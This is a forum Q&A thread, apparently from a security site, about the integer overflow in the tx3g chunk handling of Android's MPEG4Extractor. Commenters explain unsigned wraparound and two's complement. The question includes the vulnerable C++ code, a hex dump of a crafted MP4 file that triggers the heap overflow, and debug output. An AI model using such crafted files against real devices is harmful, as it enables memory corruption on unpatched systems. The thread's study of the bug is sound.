1

I am trying to understand how "Integer Overflow" happens here and how it works.

The vulnerability exists in the chunk of “tx3g”. Chunk_size is the unit which overflows the sum of size. That's to say, the memory assigned is less than the size. Thus the memcpy function will cause heap overflow.

case FOURCC('t', 'x', '3', 'g'):
{
    uint32_t type;
    const void *data;
    size_t size = 0;
    if (!mLastTrack->meta->findData(
            kKeyTextFormatData, &type, &data, &size)) {
        size = 0;
    }
    uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here
    if (size > 0) {
        memcpy(buffer, data, size);                   // <---- Oh dear.
    }
    if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
            < chunk_size) {
        delete[] buffer;
        buffer = NULL;
        return ERROR_IO;
    }
    mLastTrack->meta->setData(
            kKeyTextFormatData, 0, buffer, size + chunk_size);
    delete[] buffer;
    *offset += chunk_size;
    break;
}

Note that chunk_size is a uint64_t that is parsed from the file; it’s completely controlled by the attacker and is not validated with regards to the remaining data available in the file.

If we try to exploit it with such a MP4 file:

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018  isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141  tx3gAAAAAAAAAAAA
0000030: 4141 4141 0000 0001 7478 3367 ffff ffff  AAAA....tx3g....
0000040: ffff ffff 4242 4242 4242 4242 4242 4242  ....BBBBBBBBBBBB
0000050: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
0000060: 4242 4242                                BBBB

This should happen while debugging:

MPEG4Extractor: Identified supported mpeg4 through LegacySniffMPEG4.
MPEG4Extractor: trak: new Track[20] (0xb6048160)
MPEG4Extractor: trak: mLastTrack = 0xb6048160
MPEG4Extractor: tx3g: size 0 chunk_size 24
MPEG4Extractor: tx3g: new[24] (0xb6048130)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048130, 24)
MPEG4Extractor: tx3g: size 24 chunk_size 18446744073709551615
MPEG4Extractor: tx3g: new[23] (0xb6048130)
MPEG4Extractor: tx3g: memcpy(0xb6048130, 0xb6048148, 24)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048148, 18446744073709551615)

Here is my question:

If I set the Chunk size to 0xffffffffffffffff, why is it being interpreted as "-1", so in this code "24-1", so "23" in this code:

uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here

I see it here in debug:

MPEG4Extractor: tx3g: new[23] (0xb6048130)

and not "24+18446744073709551615", which I think should result in "0"?

Maybe I didn't explain it well enough or have some thinking error, here is the link to original blog entry explaining this Integer Overflow.

  • 1
    0xffffffffffffffff is the maximum value of a 64-bit unsigned variable. If you add anything to it, it wraps around the limit, effectively being interpreted as -1 – paj28 Sep 19 '15 at 18:08
  • Thanks paj28! Hmmmm thought that unsigned variable cannot have a sign ("-") and wraps to 0 when exceeded. So -1 is the maximum value it can has no matter how much I add to it? Can I somehow wrap it to different value, for example -2? – dev Sep 19 '15 at 18:30
  • is 0xFFFFFFFFFFFFFFFE -2 decimal? will it fit into this variable (64-bit unsigned) ? But it is signed ("-")? Hhmmmm? Can you explain this? I think I am missing something here .... – dev Sep 19 '15 at 18:38
  • Roughly speaking, yes 0xFFFFFFFFFFFFFFFE is -2. The distinction between signed and unsigned is subtle. This is about the limit of what I can explain here. I suggest you read up more about this - and crucially, experiment by writing some code and seeing how these things work. – paj28 Sep 19 '15 at 19:20
  • 1
    You got -1 because you didn't print it as an unsigned so 0xffffffffffffffff was interpreted as a signed number and evaluates to -1. Computers use 2's complement to represent negative numbers. You can read about that representation at cs.cornell.edu/~tomf/notes/cps104/twoscomp.html – Neil Smithline Sep 19 '15 at 22:16
0

Simply test it yourself by writing easy CPP files, which is probably self explaining:

vul.cpp

integeroverflow

In this example you would even only allocate a buffer of size 1.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.